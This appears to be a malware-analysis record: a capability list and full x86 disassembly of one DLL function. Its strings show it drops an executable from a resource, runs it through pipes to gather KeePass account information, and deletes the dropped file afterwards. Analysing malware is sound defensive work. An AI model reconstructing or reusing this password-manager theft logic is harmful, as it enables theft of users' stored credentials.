Function at 0x10003e70
Capabilities:
Create pipe
Create two anonymous pipes
Delete file
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x17c0
call fcn.1001a530
mov eax, dword [0x10025004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x10022730
mov eax, dword [ebp + 8]
push eax
push 4
mov ecx, dword [0x10026400]
mov edx, dword [ecx + 0x58]
call edx
add esp, 0xc
mov byte [ebp - 0x170e], 0
lea ecx, [ebp - 0x240]
call fcn.100050d0
cmp dword [ebp + 8], 0x32c9
je 0x10003edf
mov eax, dword [ebp + 8]
push eax
push 0x10022758
mov ecx, dword [ebp + 8]
push ecx
push 4
mov edx, dword [0x10026400]
mov eax, dword [edx + 0x58]
call eax
add esp, 0x10
jmp 0x1000463c
cmp dword [ebp + 0xc], 0
je 0x10003ef7
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.100126ba
add esp, 4
mov dword [ebp - 0x177c], eax
mov byte [ebp - 0x170d], 1
mov edx, dword [ebp + 8]
push edx
push str._ExecuteCommand_dll_start
mov eax, dword [ebp + 8]
push eax
push 4
mov ecx, dword [0x10026400]
mov edx, dword [ecx + 0x58]
call edx
add esp, 0x10
lea eax, [ebp - 0x228]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [ebp - 0x228]
push ecx
lea ecx, [ebp - 0x240]
call fcn.10005060
push 0x10022798
lea ecx, [ebp - 0x240]
call fcn.10005040
push 0x1002279c
lea ecx, [ebp - 0x240]
call fcn.10005040
lea edx, [ebp - 0x4c0]
push edx
lea ecx, [ebp - 0x240]
call fcn.10005000
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
test eax, eax
je 0x10003fc5
mov dword [ebp - 0x1720], 0
jmp 0x10003f97
mov eax, dword [ebp - 0x1720]
add eax, 1
mov dword [ebp - 0x1720], eax
cmp dword [ebp - 0x1720], 0xa
jge 0x10003fc5
lea ecx, [ebp - 0x240]
call fcn.10005000
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x10003fb8
jmp 0x10003fc5
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10003f88
movzx ecx, byte [ebp - 0x170d]
test ecx, ecx
jne 0x1000401b
lea ecx, [ebp - 0x240]
call fcn.10005000
push eax
push 0x100227b4
push 0x6c
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call fcn.1000b410
add esp, 0x10
movzx edx, al
test edx, edx
jne 0x10004019
push 0x100227bc
mov eax, dword [ebp + 8]
push eax
push 1
mov ecx, dword [0x10026400]
mov edx, dword [ecx + 0x58]
call edx
add esp, 0xc
jmp 0x1000463c
jmp 0x10004064
lea ecx, [ebp - 0x240]
call fcn.10005000
push eax
push 0x100227fc
push 0x6d
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call fcn.1000b410
add esp, 0x10
movzx eax, al
test eax, eax
jne 0x10004064
push str._Cmd_KeePass_GetAccountsInfo__SaveFileFromResource_exe_error_n
mov ecx, dword [ebp + 8]
push ecx
push 1
mov edx, dword [0x10026400]
mov eax, dword [edx + 0x58]
call eax
add esp, 0xc
jmp 0x1000463c
mov dword [ebp - 0x1760], 0xc
mov dword [ebp - 0x175c], 0
mov dword [ebp - 0x1758], 1
push 0
lea ecx, [ebp - 0x1760]
push ecx
lea edx, [ebp - 0x172c]
push edx
lea eax, [ebp - 0x1734]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 0x1718], eax
cmp dword [ebp - 0x1718], 0
jne 0x100040cf
mov ecx, dword [ebp + 8]
push ecx
push 0x10022844
mov edx, dword [ebp + 8]
push edx
push 4
mov eax, dword [0x10026400]
mov ecx, dword [eax + 0x58]
call ecx
add esp, 0x10
jmp 0x1000463c
push 0
lea edx, [ebp - 0x1760]
push edx
lea eax, [ebp - 0x1730]
push eax
lea ecx, [ebp - 0x1750]
push ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 0x1718], eax
cmp dword [ebp - 0x1718], 0
jne 0x1000411d
mov edx, dword [ebp + 8]
push edx
push 0x10022868
mov eax, dword [ebp + 8]
push eax
push 4
mov ecx, dword [0x10026400]
mov edx, dword [ecx + 0x58]
call edx
add esp, 0x10
jmp 0x1000463c
mov dword [ebp - 0x17c0], 0
push 0x40
push 0
lea eax, [ebp - 0x17bc]
push eax
call fcn.1000dc70
add esp, 0xc
mov dword [ebp - 0x17c0], 0x44
mov ecx, dword [ebp - 0x172c]
mov dword [ebp - 0x1780], ecx
mov edx, dword [ebp - 0x1730]
mov dword [ebp - 0x1784], edx
mov eax, dword [ebp - 0x1734]
mov dword [ebp - 0x1788], eax
mov dword [ebp - 0x1794], 0x8000100
mov dword [ebp - 0x1778], 0
xor ecx, ecx
mov dword [ebp - 0x1774], ecx
mov dword [ebp - 0x1770], ecx
mov dword [ebp - 0x176c], ecx
lea edx, [ebp - 0x240]
push edx
lea ecx, [ebp - 0x258]
call fcn.10005120
mov ecx, 6
mov esi, 0x1002288c
lea edi, [ebp - 0x20]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x1778]
push eax
lea ecx, [ebp - 0x17c0]
push ecx
push 1
lea ecx, [ebp - 0x258]
call fcn.10005000
push eax
push 0
lea edx, [ebp - 0x20]
push edx
call fcn.1000b540
add esp, 0x18
mov dword [ebp - 0x1718], eax
cmp dword [ebp - 0x1718], 0
jne 0x1000425a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x100228a8
mov eax, dword [ebp + 8]
push eax
push 4
mov ecx, dword [0x10026400]
mov edx, dword [ecx + 0x58]
call edx
add esp, 0x10
movzx eax, byte [ebp - 0x170d]
test eax, eax
je 0x1000424a
mov byte [ebp - 0x170d], 0
mov ecx, dword [ebp + 8]
push ecx
push 0x100228cc
mov edx, dword [ebp + 8]
push edx
push 4
mov eax, dword [0x10026400]
mov ecx, dword [eax + 0x58]
call ecx
add esp, 0x10
lea ecx, [ebp - 0x258]
call fcn.10005080
jmp 0x10003efe
lea ecx, [ebp - 0x258]
call fcn.10005080
jmp 0x1000463c
mov edx, dword [ebp - 0x172c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x1730]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x2800
call fcn.100126e4
add esp, 4
mov dword [ebp - 0x171c], eax
push 0
lea ecx, [ebp - 0x1724]
push ecx
push 0x2800
mov edx, dword [ebp - 0x171c]
push edx
mov eax, dword [ebp - 0x1734]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100042d7
cmp dword [ebp - 0x1724], 0
jbe 0x100042d7
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x171c]
push edx
mov eax, dword [ebp + 8]
push eax
push 4
mov ecx, dword [0x10026400]
mov edx, dword [ecx + 0x58]
call edx
add esp, 0x10
jmp 0x10004287
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x6d
jne 0x100042e4
jmp 0x10004311
mov eax, dword [ebp + 8]
push eax
push 0x100228e8
mov ecx, dword [ebp + 8]
push ecx
push 4
mov edx, dword [0x10026400]
mov eax, dword [edx + 0x58]
call eax
add esp, 0x10
lea ecx, [ebp - 0x258]
call fcn.10005080
jmp 0x1000463c
push 0
lea ecx, [ebp - 0x1724]
push ecx
push 0x2800
mov edx, dword [ebp - 0x171c]
push edx
mov eax, dword [ebp - 0x1750]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10004340
cmp dword [ebp - 0x1724], 0
jne 0x1000436c
mov ecx, dword [ebp + 8]
push ecx
push 0x10022904
mov edx, dword [ebp + 8]
push edx
push 4
mov eax, dword [0x10026400]
mov ecx, dword [eax + 0x58]
call ecx
add esp, 0x10
lea ecx, [ebp - 0x258]
call fcn.10005080
jmp 0x1000463c
mov edx, dword [ebp - 0x171c]
push edx
lea ecx, [ebp - 0x270]
call fcn.10005490
lea eax, [ebp - 0x270]
push eax
lea ecx, [ebp - 0x1714]
push ecx
call fcn.10003d50
add esp, 8
lea ecx, [ebp - 0x270]
call fcn.100053d0
lea ecx, [ebp - 0x1714]
call fcn.10003c40
movzx edx, al
test edx, edx
je 0x100043c4
lea ecx, [ebp - 0x1714]
call fcn.10003b60
test eax, eax
jne 0x10004448
mov eax, dword [ebp + 8]
push eax
push 0x10022928
mov ecx, dword [ebp + 8]
push ecx
push 4
mov edx, dword [0x10026400]
mov eax, dword [edx + 0x58]
call eax
add esp, 0x10
movzx ecx, byte [ebp - 0x170d]
test ecx, ecx
je 0x1000442d
mov byte [ebp - 0x170d], 0
mov edx, dword [ebp + 8]
push edx
push str._ExecuteCommand_
mov eax, dword [ebp + 8]
push eax
push 4
mov ecx, dword [0x10026400]
mov edx, dword [ecx + 0x58]
call edx
add esp, 0x10
lea ecx, [ebp - 0x1714]
call fcn.10003a50
lea ecx, [ebp - 0x258]
call fcn.10005080
jmp 0x10003efe
lea ecx, [ebp - 0x1714]
call fcn.10003a50
lea ecx, [ebp - 0x258]
call fcn.10005080
jmp 0x1000463c
lea ecx, [ebp - 0x240]
call fcn.10004fd0
movzx eax, al
test eax, eax
jne 0x100044a3
mov dword [ebp - 0x1728], 0
jmp 0x10004475
mov ecx, dword [ebp - 0x1728]
add ecx, 1
mov dword [ebp - 0x1728], ecx
cmp dword [ebp - 0x1728], 0xa
jge 0x100044a3
lea ecx, [ebp - 0x240]
call fcn.10005000
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x10004496
jmp 0x100044a3
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10004466
lea edx, [ebp - 0x1714]
mov dword [ebp - 0x1738], edx
lea eax, [ebp - 0x174c]
push eax
mov ecx, dword [ebp - 0x1738]
call fcn.10003b00
lea ecx, [ebp - 0x1768]
push ecx
mov ecx, dword [ebp - 0x1738]
call fcn.10003b30
jmp 0x100044e0
lea ecx, [ebp - 0x174c]
call fcn.100038a0
lea edx, [ebp - 0x1768]
push edx
lea ecx, [ebp - 0x174c]
call fcn.100037a0
movzx eax, al
test eax, eax
je 0x10004608
lea ecx, [ebp - 0x174c]
call fcn.10001790
mov dword [ebp - 0x1754], eax
mov ecx, dword [ebp - 0x1754]
call fcn.10003990
mov dword [ebp - 0x173c], eax
push 0x10022968
mov ecx, dword [ebp - 0x173c]
call fcn.10003a70
mov ecx, eax
call fcn.10003ca0
mov dword [ebp - 0x1740], eax
push 0x10022970
mov ecx, dword [ebp - 0x173c]
call fcn.10003a70
mov ecx, eax
call fcn.10003ca0
mov dword [ebp - 0x1744], eax
mov dword [ebp - 0x170c], 0
push 0x1248
push 0
lea ecx, [ebp - 0x1708]
push ecx
call fcn.1000dc70
add esp, 0xc
mov ecx, dword [ebp - 0x1740]
call fcn.10005220
add eax, 1
push eax
mov ecx, dword [ebp - 0x1740]
call fcn.10005240
push eax
push 0x100
lea edx, [ebp - 0x1708]
push edx
call section..text
add esp, 0x10
mov ecx, dword [ebp - 0x1744]
call fcn.10005220
add eax, 1
push eax
mov ecx, dword [ebp - 0x1744]
call fcn.10005240
push eax
push 0x100
lea eax, [ebp - 0x608]
push eax
call section..text
add esp, 0x10
mov dword [ebp - 0x4c8], 1
mov dword [ebp - 0x170c], 1
lea ecx, [ebp - 0x170c]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [0x10026400]
mov ecx, dword [eax + 0x50]
call ecx
add esp, 8
jmp 0x100044d5
lea ecx, [ebp - 0x1768]
call fcn.10003700
lea ecx, [ebp - 0x174c]
call fcn.10003700
lea ecx, [ebp - 0x1714]
call fcn.10003a50
lea ecx, [ebp - 0x258]
call fcn.10005080
xor edx, edx
jne 0x10003eb4
mov al, byte [ebp - 0x170e]
mov byte [ebp - 0x170f], al
lea ecx, [ebp - 0x240]
call fcn.10005080
mov al, byte [ebp - 0x170f]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000b906
mov esp, ebp
pop ebp
ret